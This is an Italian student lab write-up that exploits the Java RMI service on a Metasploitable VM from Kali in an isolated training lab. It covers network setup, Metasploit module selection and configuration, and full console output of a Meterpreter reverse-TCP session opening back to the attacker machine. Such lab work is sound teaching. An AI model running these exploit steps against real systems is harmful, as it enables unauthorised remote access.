

# S7L5

---

## EXPLOIT DEL SERVIZIO JAVA\_RMI

TARGET: METASPLOITABLE

---



TANCREDI  
DE SIMONE

# 1. Configurazione Macchine Virtuali

## 1.1 Scopo dell'esercizio

Partendo da una macchina attaccata e una attaccante, oggi dovremo sfruttare una vulnerabilità sulla porta **1099** con il servizio **Java\_RMI**. Per farlo utilizzeremo **Metasploit** per trovare un exploit che farà al caso nostro.

L'obiettivo dell'esercizio è prima di tutto consolidare la parte di networking nella configurazione delle due macchine virtuali, per poi ripassare l'utilizzo di **Metasploit** e la creazione di una sessione **Meterpreter** tramite l'exploit giusto.

## 1.2 Configurazione rete Metasploitable

Abbiamo bisogno di configurare metasploitable sulla rete **192.168.11.112**, per farlo innanzitutto mettiamo la scheda di rete in Bridge, poi apriamo la macchina, facciamo il login, e possiamo iniziare con:

**sudo nano /etc/network/interfaces**

```
store file
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Fri May 22 04:13:01 EDT 2026 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ sudo nano /etc/network/interfaces
```

Con questo comando stiamo, con i privilegi amministrativi, modificando uno specifico file **"interfaces"** in una specifica directory.

Il file contiene le impostazioni delle interfacce di rete della macchina, e modificandone il contenuto possiamo andare a impostare **ip** a **gateway**.

```
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto
GNU nano 2.0.7      File: /etc/network/interfaces      Modified

This file describes the network interfaces available on your system
and how to activate them. For more information, see interfaces(5).

The loopback network interface
auto lo
iface lo inet loopback

The primary network interface
auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
gateway 192.168.11.1

ave modified buffer (ANSWERING "No" WILL DESTROY CHANGES) ? _
Y Yes
N No      ^C Cancel
```

Ho modificato il file, l'ho iniziato a chiudere con **CTRL X** e salvato con **Y** e invio.  
Ho poi spento e riacceso l'interfaccia di rete con questi comandi:

**sudo ifconfig eth0 down**

**sudo ifconfig eth0 up**

Se non avessi fatto questo passaggio l'interfaccia di rete sarebbe rimasta con l'ip di prima, ora per controllare che sia tutto ok lanciamo un **ifconfig**.

```
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:f1:a5:b4
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fef1:a5b4/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:82 errors:0 dropped:0 overruns:0 frame:0
          TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5910 (5.7 KB)  TX bytes:4224 (4.1 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

## 1.3 Configurazione rete Kali

Ora dobbiamo configurare la rete Kali, per prima cosa utilizziamo il comando **ip a** per identificare l'interfaccia di rete di cui dobbiamo modificare l'ip.

```
1: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:8a:35:d2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.79/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
        valid_lft 15367sec preferred_lft 15367sec
    inet6 fe80::c560:3376:90c8:17e2/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
6: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
```

Ora facciamo lo stesso passaggio con Kali quindi di nuovo **sudo nano /etc/network/interfaces**

```
# and how to activate them. For more information, see interfaces(5).

source /etc/network/interfaces.d/*

# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111
netmask 255.255.255.0
gateway 192.168.11.1
```

Ho aggiunto le impostazioni di rete che mi servivano, ho poi utilizzato dei comandi per dire a kali di riavviare il networking.

### **sudo ip addr flush dev eth0**

Questo comando cancella ogni impostazione di rete precedente, per evitare conflitti.

### **sudo systemctl restart networking**

Questo invece riavvia la scheda di rete.

Ora lanciamo un **ifconfig** per controllare che sia tutto a posto.

```
(kali㉿kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fe8a:35d2 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:8a:35:d2 txqueuelen 1000 (Ethernet)
    RX packets 47 bytes 3152 (3.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 14 bytes 2298 (2.2 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Ultimo passaggio, proviamo un **ping** verso la macchina Metasploitable per controllare che le due macchine stiano comunicando correttamente.

```
(kali㉿kali)-[~]
$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.349 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.231 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.230 ms
^C
— 192.168.11.112 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2048ms
rtt min/avg/max/mdev = 0.230/0.270/0.349/0.055 ms
```

Tutti i **pacchetti ICMP** sono stati ricevuti correttamente, le due macchine comunicano, ora possiamo iniziare con msfconsole.

## 2.Msfconsole

## 2.1 Search exploit

Adesso useremo Metasploit per trovare l'exploit che ci serve, per prima cosa andiamo ad utilizzare il comando **msfconsole** per avviarlo.



Per prima cosa dovremo trovare l'exploit giusto, per farlo utilizziamo il comando **search java\_rmi**

|                                                                   |                                                        |            |           |     |   |
|-------------------------------------------------------------------|--------------------------------------------------------|------------|-----------|-----|---|
| 0                                                                 | auxiliary/gather/ <u>java_rmi_registry</u>             | .          | normal    | No  | J |
| ava RMI Registry Interfaces Enumeration                           |                                                        |            |           |     |   |
| 1                                                                 | exploit/multi/misc/ <u>java_rmi_server</u>             | 2011-10-15 | excellent | Yes | J |
| ava RMI Server Insecure Default Configuration Java Code Execution |                                                        |            |           |     |   |
| 2                                                                 | \ target: Generic (Java Payload)                       | .          | .         | .   | . |
| 3                                                                 | \ target: Windows x86 (Native Payload)                 | .          | .         | .   | . |
| 4                                                                 | \ target: Linux x86 (Native Payload)                   | .          | .         | .   | . |
| 5                                                                 | \ target: Mac OS X PPC (Native Payload)                | .          | .         | .   | . |
| 6                                                                 | \ target: Mac OS X x86 (Native Payload)                | .          | .         | .   | . |
| 7                                                                 | auxiliary/scanner/misc/ <u>java_rmi_server</u>         | 2011-10-15 | normal    | No  | J |
| ava RMI Server Insecure Endpoint Code Execution Scanner           |                                                        |            |           |     |   |
| 8                                                                 | exploit/multi/browser/ <u>java_rmi_connection_impl</u> | 2010-03-31 | excellent | No  | J |
| ava RMIConnectionImpl Deserialization Privilege Escalation        |                                                        |            |           |     |   |

Ora abbiamo tutti i **moduli ausiliari** e gli **exploit** disponibili per il servizio target, possiamo decidere quale utilizzare attraverso la lettura della categoria **rank** che, in base alla criticità della vulnerabilità, ci dice quanto è probabile che l'exploit funzioni senza problemi.

L'exploit numero **1 exploit/multi/misc/java\_rmi\_server** ha come rank **excellent**, quindi ciò vuol dire che è un exploit molto probabilmente funzionante.

## 2.2 Configurazione dell'exploit

Ora utilizzeremo il comando **use 1** il numero è quello associato all'exploit.

```
msf > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/misc/java_rmi_server) > █
```

Ora ci sta dicendo una cosa importante, ovvero che non avendo settato un **payload** ce n'è uno di default, nella mia esperienza non sempre il payload di default funziona, a volte ci sono dei conflitti con il sistema della macchina Metasploitable, proveremo l'exploit, se non funziona cercheremo un payload diverso da poter utilizzare.

Per prima cosa però utilizzeremo il comando **show options** per vedere le configurazioni da settare per l'exploit.

```
Name      Current Setting  Required  Description
-----
HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     1099             yes       The target port (TCP)
SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT   8080             yes       The local port to listen on.
SSL       false            no        Negotiate SSL for incoming connections
SSLCert   false            no        Path to a custom SSL certificate (default is randomly generated)
URIPATH   false            no        The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
-----
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:
Id  Name
--  ---
0   Generic (Java Payload)
```

Per capire quali dover settare possiamo vedere la sezione **Required** se come parametro ha **yes** vuol dire che è necessaria per far partire l'exploit. A volte le configurazioni Required sono già impostate, a volte invece dovremo impostarle noi.

Quella che ci interessa è **RHOSTS** ovvero l'host target dell'attacco.

**LHOST** è già impostato con l'ip di kali, ovvero quello della macchina attaccante, l'**RPORT** anche è già impostato su **1099** che è la porta del servizio **java\_rmi**, il servizio che vogliamo sfruttare.

Detto questo dovremo solo impostare **RHOSTS**, per farlo andiamo ad utilizzare questo comando:

**set RHOSTS 192.168.11.112**

Gli stiamo quindi dicendo di agire sul servizio **java\_rmi** dell'host target Metasploitable di cui abbiamo messo l'indirizzo ip.

```
msf exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
```

Facciamo di nuovo **show options** per vedere se le modifiche sono state apportate correttamente.

```
Module options (exploit/multi/misc/java_rmi_server):
```

| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |

```

Payload options (java/meterpreter/reverse_tcp):
```

| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |

```

Exploit target:
```

| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |

Ora abbiamo tutto ciò che ci serve per lanciare l'exploit.

## 2.3 Lancio dell'exploit

Per lanciare l'exploit utilizziamo il comando **exploit**

```
msf exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/SgxQTiMqkUgSj6
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44900) at 2026-05-22 05:37:19 -0400
meterpreter >
```

Ora abbiamo una **sessione meterpreter**, possiamo ora ricavare tutte le informazioni che ci servono.

Con **ifconfig** possiamo vedere le impostazioni di rete della macchina.



```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fef1:a5b4
IPv6 Netmask : ::
```

Ora per il comando per vedere le tabelle di routing, non sapendolo, posso scrivere **help** per vedere tutti i comandi di meterpreter e trovare quello giusto.

#### Stdapi: Networking Commands

| Command  | Description                               |
|----------|-------------------------------------------|
| ifconfig | Display interfaces                        |
| ipconfig | Display interfaces                        |
| portfwd  | Forward a local port to a remote service  |
| resolve  | Resolve a set of host names on the target |
| route    | View and modify the routing table         |

Ecco il comando, utilizziamolo.

```
meterpreter > route

IPv4 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0
192.168.11.112 255.255.255.0 0.0.0.0      0

IPv6 network routes
=====
Subnet      Netmask      Gateway      Metric  Interface
-----
::1         ::           ::           0
fe80::a00:27ff:fef1:a5b4 ::           ::
```



Questo conclude l'esercitazione, questo esercizio era molto simile ad altri che abbiamo fatto in settimana, penso di poter dire con certezza di essere in grado di configurare le schede di rete correttamente di una macchina attaccante e attaccata, e di saper trovare, configurare e utilizzare un exploit di metasploit.

Fortunatamente il payload era compatibile con la macchina Metasploitable, nel caso non lo fosse stato sarei stato in grado di settarne un altro e trovare una soluzione.